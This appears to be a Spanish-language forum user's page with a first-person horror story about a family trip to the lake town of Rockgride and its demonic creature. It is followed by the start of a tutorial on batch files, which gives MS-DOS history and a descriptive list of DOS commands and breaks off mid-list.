Devexxx2403
Usuario (Chile)

Eran ya pasadas las 2 de la madrugada, yo seguía en mi alcoba bajo la sutil luz de la lámpara de mi escritorio, estaba leyendo una novela algo cómica ya que no lograba conciliar el sueño, de pronto alguien entra en mi alcoba; era mi padre que con un gesto de sorpresa me dice: -¿Que haces despierto tan tarde? Apaga la luz y duérmete. - Pero padre no tengo sueño - le digo tratando de convencerlo - ¿porque no me dejas hasta mas tarde? - No, ya es demasiado tarde apaga la luz y duérmete - dijo mi padre cerrando la puerta. Seguí trate de seguir leyendo pero ya me encontraba distraído, apagué la luz y me acosté, seguía sin sueño, de pronto me vinieron a la cabeza recuerdos de mis amigos del colegio, ya que estaba en vacaciones de invierno y la mayoría viajo a otros lugares, recordar esto me hizo sentir el sueño... A la mañana siguiente mi madre entra en la alcoba ya vestida exclamando: -¡Nos vamos de viaje! -Pero mama tengo sueño - le digo con gran somnolencia. -¡Eso te pasa por dormirte tarde! -me dice mientras abre las cortinas- Ya anda a bañarte que nos vamos. Sin nada que hacer me levanto sintiendo como un duro golpe el frio viento, tiritando agarro mi toalla y me meto a la ducha, el agua estaba perfecta, se me hacia una pesadilla la dura idea de salir de ahí: -¡Apúrate hijo! - exclama mi padre parado afuera del baño - ¡Si es para hoy! Corto el agua, salgo de la ducha y me visto, al salir me di cuenta de que había pasado mas de media hora, me pongo un polerón, meto mi notebook a mi mochila y salgo de la casa, me estaban esperando con todo empacado arriba del auto, me subo y mi madre grita: -¡¡Nos vamos a Rockgride!! -Si que será un viaje largo -agrega mi padre- almorzaremos cuando lleguemos, hasta entonces vean por última vez la casa... Mientras mas nos alejábamos, sentía que algo olvidaba, nada más que mi libro era lo que faltaba... Ya habían pasado 4 horas desde que salimos, la calle estaba en medio de un bosque donde lo único que se escuchaba era el ruido del motor, de la nada se ve algo mucho mas adelante en la carretera, mi padre se empezó a detener cuando nos acercamos diciendo: -Iré a ver que es, quédese aquí- terminado esto se baja del auto. Estuvo alrededor de 2 minutos agachado frente a eso, la curiosidad me invadía, me baje del auto y fui a ver que era, era un pequeño lobo atropellado, mi padre al ver la expresión de mi madre, la abrazó y regresamos al auto rodeándolo. Ya habían pasado 20 minutos desde aquello, todos estábamos algo afectados hasta que sin previo aviso mi padre corta el ambiente exclamando: -¡Falta poco para llegar¡ Mi padre puso un disco de Guns N' Roses hasta que por fin llegamos.. Era un poblado bastante grande a simple vista estaba situado junto a un enorme lago donde se veían varias canoas y todo rodeado por un denso bosque, eran cerca de las 3 de la tarde así que decidimos ir a almorzar, nunca me había gustado el pescado, pero ese estaba delicioso, terminamos, pagamos y nos fuimos, me causo gracia la expresión de mi padre al ver la cuenta, salimos a un parque donde pasamos parte importante del día, de pronto una persona se nos acercó preguntando; -¿Buscan sitio donde quedarse? -La verdad si - responde mi madre. -Acá les puedo ofrecer una cabaña bastante grande con vista al lago y a un excelente precio. Mi madre se quedo con el auto y luego nosotros fuimos a ver la casa, era enorme, mi padre acepto la oferta y llamo a mi madre para que venga con el auto, entre a ver la casa era algo obscura pues las luces estaban apagadas y ya era de noche y las habitaciones estaban en el segundo piso y entro a una de las habitaciones y lo ultimo que recuerdo fue ver el lago iluminado por la luna... -¡Es hora de despertar es un lindo día y tu aquí acostado! – Exclama mi madre –Mira que bello se ve el lago desde acá… Me gustaría que fuéramos… -¡Pero tengo sueño! – le digo -No, levántate no mas – Se va de mi habitación. Bueno quizás no fue la mejor forma de empezar el día, pero me causo gracia, me levanto y me voy a la ducha. Ya vestido nos fuimos a hacer un día de campo junto al lago: -Mama iré a ver los alrededores – le digo. -Bueno pero no regreses muy tarde que ya vamos a almorzar – me responde algo preocupada por mi propuesta– No te vayas muy lejos... Jamás había visto unos arboles tan grandes, la densa vegetación apenas hacia visible el cielo, aun así pequeños rayos de sol penetraban en los matojos de hojas de los arboles, a lo lejos se podía oír el rumor sordo del viento, aquel bosque no era muy interesante, lleno de hojas secas y arboles claros, se podía distinguir cuanta cosa se moviese, aunque no logre ver ningún ser vivo, de pronto tropiezo con unas ramas, cayendo entre las hojas boja abajo, me doy vuelta y me quedo contemplando el cielo un par de minutos, ya no había nada interesante así que decidí volver, repentinamente rompe el silencio un sonido que no logre identificar, un ruido bastante extraño, trate de buscar donde provenía, pero nada, a lo lejos logro divisar una extraña silueta acercándose a mi, no creo que sea nada bueno así que sin mas que pensar salgo corriendo. Logre llegar a donde estaban haciendo el día de campo: -¡Hijo ven! – Exclama mi madre - ¡Tenemos listo el almuerzo! -Que bien… - Respondo mientras me siento junto a ellos. -y… ¿Qué hay de bueno en el bosque campeón? – Pregunta con curiosidad mi padre. -Nada solo… hojas secas… - Respondo, no les quise contar lo sucedido. Era de pensar que no me creerían, quizás si, pero mejor olvidarlo… Almorcé sándwich quizás no sea una gran comida pero estuvo delicioso… Ya terminado el almuerzo mi padre pregunta: -¿Arrendemos unas canoas? – Pregunta con una emoción en el rostro – Que aun son las 3 y 30… -Bueno, vamos… - Respondo. -Tengan cuidado… - Dice mi madre. A un extremo del lago había una choza con un pequeño muelle que decía “Se arriendan canoas” fuimos y mi padre se quedo discutiendo los precios y yo me fui al muelle, me senté a un extremo mirando el fondo del lago… Sin aviso veo la misma silueta negra en el fondo del lago, me paro rápidamente en el muelle pues se estaba acercando y mi padre ya venia voy y le digo algo alterado: -¡¡VEN A VER ESTO!! Pero cuando llegamos era muy tarde, puesto que había desaparecido... -¿Que quieres que vea hijo? – Pregunta con cara de confusión. - Nada solo creí ver algo… - Bueno, ya tengo arrendada la canoa ¿Te animas o te quedas viendo el lago? – Me pregunta con tono de desafío. -Para eso estamos aquí ¿no? – Le respondo. -¡Pues entonces vamos! – exclama subiéndose a la canoa. Estaba un poco alterado por lo del fondo del lago, pero luego lo olvide, la brisa era relajante, estuvimos alrededor de 30 minutos dando vueltas en canoa, mi madre nos sacaba algunas fotos desde lejos, siendo que… -¿Hijo sentiste eso? – Me mira con cara de preocupado – Algo choco la canoa… -Yo no sentí nada – Respondo – Quizás chocamos con alguna caja o alguna roca… Algo había chocado la canoa, quizás fue eso que estaba en el fondo del lago lo haya chocado… Sin previo aviso se vuelve a sentir pero esta ves más fuerte, hizo retumbar toda la canoa, me hizo sentir algo mareado y a la vez asustado… Ya pasado 5 minutos desde el último choque, nos estábamos devolviendo al muelle con muchas preguntas sin resolver, cuando de pronto lo vuelve a chocar con tal fuerza que ambos caímos al lago… Intente nada todo lo que pude pero no lo logre… Pude ver una criatura acercándose rápidamente a mí… Despierto, miro a mi alrededor estaba en una plaza que nunca había visto hasta entonces… Me pongo a caminar por la zona, sin encontrar a nadie… Estaba algo preocupado sobre que paso con mi padre… ¿Dónde esta? ¿Estará bien? Eran las cosas que por mi mente pasaban sin cesar… Ya salgo de la plaza en la que me encontraba y estaba en una zona residencial, aun así no había ni se escuchaba nada, me encuentro con un viejo hospital veo que adentro en el segundo piso había alguien, entro al hospital, no había nadie al menos en esa habitación, subo las escaleras y me dirijo a la habitación en la que estaba esa persona que se podía ver de afuera, entro en la habitación y de ver aquello me quedo sin aire arrodillado en el piso… En la camilla estaba yo… conectado a unos tubos de oxigeno, tenia muchos cortes y me hallaba inconsciente, me acerco y empiezo a agitarme hasta que ceso y se pudo escuchar el sonido que indica que he muerto, salgo a la calle algo asustado por ver aquello, cuando me fijo bien ya no me encontraba en la calle sino que en el bosque cerca del lago, se podía escuchar ese ruido extraño, me tapo los oídos puesto que aumentaba hasta que vi a la silueta corriendo hacia mi, trato de correr lo mas que puedo pero me alcanzo y yo cierro los ojos… Al abrirlos estaba en la cocina de mi casa, mi madre estaba de espaldas, me acerco a ella, dándose vuelta desesperadamente pegando un grito perturbador que me hace tumbar en el piso, de pronto me encuentro rodeado de sombras, -¿abre muerto? – Pienso. De pronto me encuentro en una sala blanca obscurecida por las sombras, en la que se hallaba mi nombre escrito en todas las paredes, me doy cuenta de que era un largo pasillo, luego de caminar largos minutos, me encuentro con una escalera, bajarlas era lo único que me quedaba por hacer la escalera tenia un color rojo, el ambiente tenso con un frio penetrante, las escaleras daban la impresión de ser infinitas puesto que yo no veía el fin, sin aviso llego al final, tenia un pasillo muy parecido al anterior, pero era mas corto y al final tenia la sala del hospital, pero esta vez la camilla estaba vacía, me acuesto en ella, cuando veo que esa silueta corre hacia mi gritando de manera infernal, cierro los ojos y de pronto el ruido ceso… Al abrir los ojos me encontraba en la sala de enfermería, mis padres estaban a mi lado, sonriéndome, yo tenia varios vendajes me siento algo adolorido por los cortes, por lo visto habían pasado ya 10 días desde aquel incidente, era de noche y por alguna razón tenia sueño, me durmiéndome a los pocos segundos… Tengo que estar al menos otros 5 días aquí en el hospital, mucho tiempo, me aburriría fácilmente, trato de distraerme, a pesar de todo extraño el colegio, lejos de este pueblo, de este lago, lejos de esto, extraño a mis amigos, quizá no haya mencionado mucho a mis amigos a mis padres, la extraño a ella… Quizá nunca haya pasado nada entre nosotros pero la extraño… Extraño su presencia junto a mi lado, quizá no la vuelva a ver… Quizá no salga de aquí… Aun recuerdo la vez que le hable por primera vez…Era de noche cerca del colegio cuando la conocí… Nunca logre decirle lo que siento, ahora ya es muy tarde… Cuanto daría por estar con ella y abrazarla… No será mucho lo que pido… Pero la amo… Entra mi madre con el almuerzo exclamando: -Traigo el almuerzo mi joven naufrago – Con una cara de felicidad, mi familia estará siempre a mi lado… - No vuelvas a preocuparme así… -Gracias... No importa, no creo que vuelva al lago – Respondo con una cara de tristeza… -Escuchar eso me tranquiliza – Dice con un gran sosiego. Mi madre se va y yo almuerzo tranquilamente, al terminar vienen a recoger todo y me recuesto en la cama, sigo pensando, hubiera traído mi libro para distraerme un rato, lastima que lo deje en el escritorio de mi habitación, recuerdo que yo tenia una amiga, amistad, ese era el problema, siempre quise estar con ella pero ella no… Del colegio lo que mas recuerdo son las penas de amor, los profesores eran algo raros pero quizá en el fondo no lo sean… Cuando me pongo así se me nota en la cara una tristeza enorme, eso me ha delatado muchas veces… Iban pasando los días hasta que por fin me dieron de alta, fuimos a un parque y me senté en una banca a pensar el resto del día, algunas veces pienso que envés de estar quejándome y entristeciéndome debería haber actuado, y ahora que lo pienso quejarse y entristecerse no me servía de nada, como me gustaría ir hasta su casa, llamar a la puerta, y abrazarla y decirle cuanto la amo, ver a mis padres tan dichosos de estar juntos, me entristecía. Le dedicaría mil canciones, le escribiría mil poemas, no le compraría una flor si no toda la florería, pero ya no hay que hacer, solo me queda esperar a volver a verla… Mi mama me llama diciendo que ya es hora de irnos a la cabaña, me subo al auto viendo a lo lejos el lago iluminado por las luces que ofrece la noche… Al llegar subo a mi habitación y me acuesto, aliviado de estar en mi cama y no en la camilla de aquel hospital, el sueño me invadió por completo, durmiéndome… Quizá la semana pasada no fue la mejor, pero hare lo posible por que esta lo sea, ya después de bañarme y vestirme, mi madre exclama: - ¡Iré a comprar algunas cosas! - con cierto grado de confusión. - Ten cuidado - Responde mi padre. Habían pasado varios minutos ya, estaba haciendo mi cama y mirando el lago por la ventana, hasta que mi padre entra en la habitación diciendo: - Sera mejor que te quedes aquí este día - Dice con cierto grado de preocupación - Aun no te has recuperado totalmente. - Esta bien papa, me quedare - Respondo. Mi padre sale de mi habitación y yo me siento en mi cama, saco el notebook de ni mochila encendiéndolo, era de pensar no había nadie conectado, aun así no me metí directamente a eso, busque información acerca de "Rockgride", mas nada encontré que la historia de como se formo y detalles del lugar, lo mismo me sucedió buscando acerca del lago, ya me daba por vencido cuando encuentro un texto bastante extraño: "Sé que no me creerán pensando que la historia es inventada, pero no esto me paso de verdad... Y escribo esto para que la gente lo sepa... En este pueblo hay algo... Algo extraño... Esa cosa ataco a mi familia... A mis padres... Estoy solo... Desearía jamás llegado a rockgride... Eso esta afuera de mi casa... Esperando que salga y me descuide... Tengo que salir... Ya no tengo comida... Mañana tendré que salir... Escribo esto porque quizá mañana... Oh Dios..." Leer esto me hizo sentir un frio tremendo, la fecha de esa historia era de hace 2 meses. Era ya de noche, me pase todo el día investigando, sin previo aviso entra mi padre en la habitación: -¡Tu madre no ha llegado! - Grita alterado -¡Quédate aquí y no me esperes despierto! -Oh dios... - respondo atónito. Mi padre agarro una chaqueta y sale por la puerta de enfrente, yo por otro lado me encuentro en mi habitación impactado... Quizá mi madre haya muerto por esa bestia... Quizá nunca la vuelva a ver... No tenía nada que hacer... Sentía una gran impotencia al no poder hacer nada... Ya habían pasado 2 horas desde que mi padre se fue, aun no hay rastros de ninguno de ellos dos, me asomo por la ventana logrando ver la silueta de aquella bestia, parada afuera de la casa... Estaba mirándome... No pareció importar, cojo el teléfono y llamo a la policía, contestando inmediatamente: - Estación de policía ¿que desea? - Mis padres desaparecieron y ahí un hombre afuera y tengo miedo - Sabiendo que si les contaba de aquella bestia, pensarían que todo fue una broma telefónica. - ¿En que calle vive hijo? - dice con cierto tono se curiosidad. - En Antártida con Alameda, La casa 519... - Bueno, vamos en camino - Responde colgando. En ese momento estaba muy nervioso, aquella cosa seguía ahí, esperando mi descuido, empaque mis cosas en la mochila y me quede esperando a los policías. No tardaron mucho en llegar, tocaron la puerta y al abrirles me dijeron: - Policía de Rockgride, se nos a informado que tus padres se extraviaron eso ¿es cierto? - Si desde ayer, que no los veo - Respondo con angustia. - John, quédate con el niño, nosotros buscaremos a sus padres - Dice con seriedad. - Si – Responde con un tono de seguridad que me tranquilizo. Estar con él no fue una experiencia muy interesante, pero me sentía mas seguro. Al mirar por la ventana ya no lograba ver aquella criatura. Estaba todo tranquilo, hasta que tocan la puerta, fue a abrir el policía, creyendo que sean sus compañeros, pero era la bestia que de un golpe le atraviesa el corazón, el policía solo logra dar un fuerte grito, azotándolo con la pared. Asustado corro al segundo piso tirándome por la ventana, la caída no fue muy dura pero quede algo adolorido, tuve que seguir corriendo, corrí desesperadamente al bosque, me escondí tras un árbol sin oír nada, de pronto una voz rompe el silencio: - Hola... - dice una voz femenina extrañamente familiar... - ¿¡¿Q-Que haces aquí Elizabeth?!? - exclamo sorprendido. - Te vine a buscar... Te extrañaba... - Responde con un tono ligeramente tierno. - Oh... - Respondo sorprendido por su respuesta. - Y... ¿Como supiste que estaba aquí? - Pregunto con cierta curiosidad. Guarda silencio solo para alejarse preocupada, dándome la espalda. - ¿Pasa algo? - Pregunto. - Si... – Llora, bastante entristecida. - ¿Qué pasa? - Pregunto algo preocupado. - Yo no soy Elizabeth.. Al terminar esto su piel se torna negra, convirtiéndose en un demonio, no alcanzo a esquivar el golpe que me deja inconsciente... Despierto alterado, quedo atónito unos segundos sin darme cuenta que mi ropa se encontraba ligeramente desgarrada y manchada con sangre, estaba todo a oscuras a excepción de un camino iluminado por antorchas, me adentro por aquel camino recordando haber visto esto, llegue a una escalera algo resbaladiza, parecía infinita, además hacia un frio penetrante, seguí por la sala buscando la salida hasta llegar a una sala en donde se encontraban mis padres crucificados rodeados por los cuerpos de los policías con las extremidades cercenadas, ver aquello me traumatizo momentáneamente, cayendo en llanto frente a mis dos padres, sin aviso veo frente a mi, aquella bestia que toma forma de mi amada para decirme: - Yo... Soy de lo que te escondes cada noche, lo que te observa cada noche, lo que te espera después de la muerte, yo soy... Dios... - Ríe - De hecho, estas muerto, estas muerto desde que fuiste al lago, nada de esto paso, estarás aquí lo quieras o no, por toda la eternidad, ¡maté a tus padres!, asesinare a todos los que conoces… empezando por ti… Grito, corriendo buscando una salida, de pronto algo me agarra el pie, era la mano de un policía que me queda mirando, le habían cercenado las piernas y su cara estaba cubierta de sangre: -Ayuda... – dice agónico. La bestia se acerca a mi, trate de zafarme pero ya era demasiado tarde, lanzándome hacia una pared, dándome un duro golpe que me deja consiente los últimos segundos de mi vida, solo para ver como me entierra su brazo en mi estomago, dicen que cuando estas apunto de morir ves tu vida por delante, vi mi nacimiento y cada uno de los cumpleaños que he tenido y en todos se encontraba aquella criatura, incluso el ultimo día que estuve en mi casa… vuelvo a la realidad ,perdiendo el conocimiento y así... La vida... Abro los ojos... Me encontraba en mi alcoba en mi verdadera casa, quedo atónito pero esta vez con una tranquilidad interior, pienso ¿abra sido todo un sueño? No lo creo... de pronto mí madre entra en la habitación diciendo: - Alguien te busca... – Con su alegría tan característica de ella. No quise responder nada, pues no sabía como reaccionar, me puse unos jeans y una camisa, me mojo el pelo y salgo, la Elizabeth me esperaba, se veía hermosa, me acerco y me saluda con un cálido abrazo: - ¡Kevin! – exclama. - Elizabeth... Te tengo algo que decir... – Respondo algo nervioso. - ¿Que cosa? – Pregunta con curiosidad. - Te amo... Me besa apasionadamente, abro los ojos por un leve segundo divisando a la bestia en la ventaba de mi habitación, no me importo. - ¿Salgamos al parque? - pregunto. - Si… - Responde – ¿Pasa algo te noto algo asustado? - No es nada, solo es mi imaginación... – Respondo pensativo… Me toma de la mano y juntos caminamos hacia el horizonte, Se podía escuchar el satisfactorio canto de las aves que me tranquilizaba un poco, las personas de las casas se encontraban limpiando el patio y algunos el auto, todo el panorama fue muy diferente al que viví en Rockgride, al verme junto a ella me hacia sentir un gran sosiego, aun así me encontraba algo pensativo, lo que vi en la ventana ¿habrá de ser real?, no lo se... Solo el tiempo lo dirá... Por ahora viviré la vida junto a ella…

IntroducciónBueno comensare disiendo que no son virus como la mayoria de la gente piensa son archivos con comandos del sistema, a continuacion pondre un poco de informacion de distintas fuentes:El Sistema Operativo MS-DOS (MicroSoft Disk Operating System), tiene el origen en el QDOS (Quick and Dirty Operating System) sistema operativo escrito por Tim Paterson para la Seattle Computer Products y comercializado bajo la denominación 86-DOS. Se desarrolló para micro-ordenadores personales de 16 bits. Se diseñó como un clon a corto plazo del sistema operativo CP/M, que estaba operativo en los ordenadores con microprocesador de 8 bits, para dar compatibilidad con la base instalada existente de programas comerciales como WordStar y dBase. Cuando IBM encargó a Microsoft un sistema operativo para su entonces novedoso IBM PC, Microsoft se vio incapaz de cumplir los plazos y compró el QDOS a sus propietarios, saliendo al mercado en dos versiones: PC-DOS (versión de IBM) y MS-DOS (versión de Microsoft). El MS-DOS fue el producto clave, a finales de los años ochenta del siglo XX, en la transformación de Microsoft desde sus orígenes en los años 70 como proveedor especializado en lenguajes de programación a su actual estado como gigante en la industria informática. Precisamente los ingresos por las ventas de MS-DOS (particularmente mediante contratos exclusivos con marcas, probados como ilegales en Estados Unidos más tarde) [cita requerida] hicieron posible un espectacular crecimiento de la compañía. De hecho, hasta la salida de Windows 95, los ingresos por MS-DOS eran superiores a los de Windows. Con el tiempo MS-DOS imitó otros sistemas operativos; MS-DOS 2.0 introdujo características de Unix tales como subdirectorios, es decir, estructura jerárquica y redirección de entrada/salida de órdenes y tuberías (en inglés pipe). MS-DOS no es multiusuario o multitarea, pero se hicieron muchos intentos para agregarle estas capacidades en un futuro. Muchos programas utilizaron la técnica terminar y permanecer residente o TSR (Terminate and Stay Resident) y otras funciones normalmente indocumentadas para proporcionar aplicaciones pop up incluyendo el popular Sidekick de Borland. Es en modo texto, sin ninguna apariencia gráfica, a través de comandos. Gestiona periféricos y memoria. Entornos añadidos como DesqView intentaron proporcionar características multitarea, logrando cierto grado de éxito al combinarse con la administración de memoria del hardware del procesador Intel 80386. Tras la aparición del Apple Macintosh en 1984, el público se interesó por la interfaz de usuario gráfica o GUI (Graphical User Interface), aunque el primer entorno gráfico fue el Alto de Xerox en 1973, basado en un sistema operativo propio. Muchos programas crearon sus propias interfaces gráficas, como Microsoft Word para DOS, XTree y el Norton Shell. Sin embargo, esto exigía duplicar esfuerzos y no proporcionaba mucha consistencia, lo que hizo crear entornos GUI completos. Así, IBM y Microsoft se aliaron en un proyecto llamado OS/2, originalmente una versión en modo protegido de MS-DOS con una GUI, pero Microsoft pronto abandonó el proyecto para concentrar sus recursos en Windows. Por su parte, Digital Research creó el entorno GEM sin alcanzar mucha popularidad. Finalmente, tanto el OS/2 como el GEM se abandonaron, al parecer por contratos de exclusividad de Microsoft con vendedores de hardware de ordenadores. En teoría, hasta Windows 95, Windows no era un sistema operativo, sino una shell o capa que se interponía entre el usuario y el MS-DOS para facilitar su utilización. No obstante, hay expertos que alargan esta transformación hasta el Windows NT - Windows XP. Actualmente, MS-DOS ha sido sustituido por la familia de sistemas Windows de Microsoft, sin embargo la consola de comando del sistema permite acceder a un entorno de texto con casi los mismos comandos de MS-DOS. Las primeras versiones de Windows podían ejecutar programas para MS-DOS. Las últimas versiones de DOS "extendidas" usaban el modo protegido. Las últimas versiones de Windows se ejecutan independientemente de DOS pero incluyen una parte importante de viejo código que puede ejecutarse en máquinas virtuales (virtual machines). Un juez de Seattle ha decretado que el software que sirvió de auténtica base para el MS-Dos, el primer sistema operativo de Microsoft, no fueron ideadas por Tim Paterson, como hasta ahora se afirmaba, sino por el fallecido Gary Kildall. Gracias a este fallo judicial se ha podido restaurar la reputación de este ingeniero de software, ninguneado hasta ahora en los anales de la historia de la computación. Como Crear Estos ArchivosBueno para empezar estos archivos se crean con Documentos de texto (.txt) y luego le cambian el nombre pasando a ser batch (.bat), estos deven empezar mas o menos asi:@echo offY a continuación los comandos que quiere poner.Comandos Del SistemaA continuación pondré una Lista de muchos de los comandos que existen:CHKDSK - Controla un disco y provee información sobre su capacidad, su estado, los directorios, los archivos, la FAT, etc. Ha sido reemplazado por SCANDISK en los DOS 6.2. ATTRIB - Presenta en pantalla o modifica los atributos de los archivos. COPY - Sirve para copiar archivos, concatenarlos, cambiarles el nombre, etc. DIR - Presenta la lista del contenido de un directorio, en su totalidad o de manera selectiva. EDIT - Editor que reemplaza a Edlin desde el DOS.5. Se usará esencialmente para modificar pequeños archivos de texto, empezando por los llamados "archivos de sistema”, que son el CONFIG.SYS y el AUTOEXEC.BAT. FDISK - Instala un disco duro, crea, muestra en pantalla o suprime particiones. FORMAT - Formatea el disco destinatario marcando y eliminando los sectores defectuosos, inicializando el directorio y la tabla de asignación de los archivos (FAT), y cargando el programa de inicio. INSTALL O INSTALAR- Carga los programas residentes, a través del Config.Sys. MD - Crea un directorio. Otro nombre de este comando: MKDIR, por "Make Directory”, creación de un directorio. MSCDEX - Acceso a los CD-ROM. A partir del DOS 6. SCANDISK - Herramienta de verificación y reparación de los discos duros, pero sólo a partir de la versión 6.2. Aca estan los demas para los que quieren saber mas del dos ANSI.SYS - Carga el código ANSI. Interviene en el Config.Sys mediante un Device= APPEND - Indica al sistema en qué directorios debe buscar los archivos de datos o de comandos. Este comando es relativamente reciente en el DOS y complementa al comando PATH, que sólo se ocupa de archivos de comandos. ASSIGN - Envía el comando direccionado en un disco hacia otro disco; este último reemplaza al primero. Ya no existe en el DOS 6. BACKUP - Realiza una copia de seguridad de los archivos de un disco en uno 0 varios discos, mostrando mientras tanto su nombre en pantalla. La restauración de los archivos se hace con la orden de sentido contrario, RESTORE. El Backup ya no existe en el DOS 6, lo cual es una bendición porque este comando era uno de los más difíciles de manejar. BASIC - Llama al lenguaje Basic IBM en los DOS IBM. Se trata del lenguaje de programación más simple que existe. BAT - Extensión específica para el nombre de los archivos de procedimientos, que disponen de toda una gama de comandos propios. Uno de los más conocidos es el archivo AUTOEXEC.BAT, que se ejecuta automáticamente cuando usted pone su computadora en funcionamiento. BREAK - Activa o desactiva la posibilidad de realizar una interrupción con Control + Pausa, que permite salir de una secuencia. BUFFERS - Comando para el config.sys que determina la capacidad del búfer para el disco. CALL - En un archivo .bat, llama a otro .bat como un subprograma. CD - Cambio de directorio; su nombre completo es CHDIR. CHCP - Selección de las tablas de códigos. CHDIR - Cambio de directorio, cuyo nombre abreviado es CD. Adopte CD en lugar de CHDIR si quiere evitar presionar tres teclas en el teclado. CHKDSK - Controla un disco y provee información sobre su capacidad, su estado, los directorios, los archivos, la FAT, etc. Ha sido reemplazado por SCANDISK en los DOS 6.2. CHKSTATE.SYS - Una novedad del DOS 6. Usado por el programa MemMaker para optimizar la memoria. CHOICE - Una novedad del DOS. 6. Le pide al usuario que efectúe una selección en una secuencia «batch». CLS - Simplemente borra la pantalla, sin cambiar ninguna otra cosa. Es un comando pequeño e interesante que conviene recordar. COMMAND - Llama a un procesador secundario de comandos, o reinstala el procesador de comandos COMMAND.COM del DOS. CONFIG.SYS - Archivo de configuración que dispone de instrucciones propias. Este archivo se ejecuta automáticamente cada vez que se pone en funcionamiento la computadora. COUNTRY - Nacionaliza el sistema, adaptándolo al país. DATE - Muestra en pantalla y modifica la fecha utilizada por el sistema; la nueva, fecha introducida se graba en las memorias permanentes. DBLSPACE - Compacta el disco duro, duplicando aproximadamente su capacidad. La compresión puede variar normalmente de 1,7 a más de 10, según el tipo de archivo. Este comando ha sido reemplazado por DRIVESPACE a partir del DOS 6.22. DBLSPACE.SYS - Una novedad del DOS 6. Determina la posición final del archivo dblspace.bin. DEBUG - Lanza el programa de "debugging' (eliminación de errores). Debug está reservado a los expertos. DEFRAG - Una novedad del DOS 6. Desfragmenta los archivos en el disco duro para mejorar la velocidad y la seguridad. DEL - Destruye uno o varios archivos en el disco (actúa como el comando ERASE). DELOLDOS - Suprime la puesta en reserva de un DOS antiguo. DELTREE - Una novedad dei DOS 6. Suprime un directorio y todo lo que contiene, incluyendo los subdirectorios, en una sola operación. DEVICE - Instala un driver de periférico, por medio del config.sys. DEVICEHIGH - Carga un administrador en memoria superior, por encima de los primeros 640 KB. DISKCOMP - Compara el contenido total, pista por pista y sector por sector, de dos disquetes del mismo tipo. DISKCOPY - Copia de modo idéntico el contenido de un disquete fuente en un disquete destinatario rigurosamente del mismo formato, formateando previamente este último y haciéndolo sobre el modelo del disquete fuente si es necesario. DISPLAY.SYS - Se utiliza para conmutar las tablas de códigos, vía el config.sys. DOS - Establece un vínculo entre la memoria convencional y la memoria superior a través del config.sys. DOSKEY - Instala el programa de memorización y de llamado de los comandos instalados anteriormente. De esta manera, se evita tener que volver a escribirlos. DOSSHELL- Llama a la superestructura de diálogo del DOS. Este dos shell ha sido suprimido en la versión DOS 6.2 ya que Microsoft consideró que había sido reemplazado ventajosamente por el “Administrador de archivos” de ese superprograma que es Windows. DRIVER.SYS - Administra las disqueteras, a través del Config.Sys. DRIVPARM - Define los parámetros de periféricos en modo bloque, a través del Config.Sys. DRIVESPACE - Reemplaza a DBLSPACE a partir del DOS 6.22, con las mismas funciones. ECHO - Vuelve a mostrar en pantalla o no, en eco, los comandos ejecutados en un archivo .BAT, según se ponga o no en servicio este eco, usando ON u OFF respectivamente. Permite introducir un mensaje que será mostrado en pantalla en todos los casos. EMM386 - Sirve de soporte a la memoria expandida. EMM386.EXE - Simula la memoria expandida en la memoria extendida, a través del Config.sys. ERASE - Destruye uno o varios archivos del disco (y actúa como el comando DEL). Opte por DEL ya que se escribe más rápido. ERROLEVEL - Código de errores para archivos .BAT Otra noción más para expertos. EXE2BIN - Convierte el formato .EXE en .BIN o .COM. Este comando, que no existe más en los DOS 6, está destinado a los programadores. EXIT - Sale de un procesador de comandos. En la mayoría de los casos, EXIT le permite salir del DOS para volver al programa que lo llama, Windows por ejemplo. EXPAND - Descomprime un archivo comprimido. A partir del DOS versión 5. FASTHELP - Muestra en pantalla la lista de comandos de la versión 6 con una breve explicación. FASTOPEN - Proporciona un acceso rápido a los archivos que se usan con más frecuencia, o a los últimos que se han utilizado, memorizando su camino de acceso. FC - Comparación de archivos. No está disponible en todas las versiones. FCBS - Especifica la cantidad de bloques de control de archivos, en un Config.Sys. Este comando está reservado a los expertos. FILES - Especifica la cantidad de archivos abiertos, en un Config.Sys. FIND - Busca la cadena de caracteres indicada en un archivo y envía al periférico activo de salida (el monitor, por ejemplo) todas las líneas en las que la encontró. FOR - Especifica la repetición del mismo comando para cada una de las variables contenidas en la lista. GOTO - Es un direccionamiento incondicional a una línea marcada con un rótulo del mismo nombre en un archivo .BAT. GRAFTABL - Carga la tabla de los caracteres gráficos, los códigos ASCII 128 a 255, para la visualización en pantalla. No existe más en el DOS 6. GRAPHIC - Carga una secuencia que permite la impresión de la pantalla que incluye caracteres gráficos, de códigos 128 a 255. GWBASIC - Llamado del antiguo Basic avanzado de Microsoft. No existe más en el DOS 6, en el cual ha sido reemplazado por el QBasic. HELP - Pedido de ayuda. Desde el DOS 5. HIMEM.SYS - Administrador de memoria extendida. IF - Comando de ejecución condicional para archivo .BAT. INCLUDE - Incluye un bloque de configuración en otro, a través del Config.Sys. Nuevo comando con el DOS 6. INTERLNK - Conecta dos computadoras, por medio de sus puertos paralelos o en serie. Nuevo comando del DOS 6. INTERLNK.EXE - Administrador para Interlnk. Novedad del DOS versión 6. INTERSVR - Lanza el centro de recuperación de datos InterLnk. Nuevo comando del DOS 6. JOIN - Asigna el contenido de un disco a un directorio de otro disco. No existe más en el DOS 6. KEYB - Carga el programa que administra el teclado (reemplaza al que reside en la memoria muerta, para el teclado USA). LABEL - Crea, modifica o suprime el nombre atribuido a un disco. LASTDRIVE - Define la cantidad de unidades de disco en el Config.Sys. LH - Carga un programa en la memoria superior, generalmente en el Autoexec.bat. Otro nombre: LOADHIGH. LINK- Llama al editor de conexiones. LOADFIX - Carga un programa por encima de los primeros 64 Kb de memoria y lo ejecuta. Nuevo comando del DOS 6. LOADHIGH - Carga un programa en la memoria superior, generalmente a través del Autoexec.bat. Desde el DOS 5. Otro nombre: LH. MACROS - Realización de macros con Doskey. MEM - Muestra en pantalla la memoria ocupada y la disponible. MEMMAKER - Administración y optimización de la memoria, pero con los DOS 6. · MENUCOLOR - Determina el color del texto y del fondo para el primer menú, a través del Config.Sys. A partir del DOS 6. MENUDEFAULT - Especifica el menú por defecto, en el inicio. A partir del DOS 6. MENUITEM - A partir del DOS 6. Define un ítem del menú de arranque. MIRROR - Copia de seguridad para el seguimiento del borrado de archivos. Con el DOS 5. MKDIR - Crea un subdirectorio. Otro nombre de este comando: MD, por "Make Directory”, creación de un directorio. MODE - Establece las condiciones de funcionamiento de los periféricos, impresora, interface de video y conexiones en serie, y también sirve para la preparación de las tablas de códigos. MORE - Para visualizar página por página en la pantalla (es decir, sin que desfilen 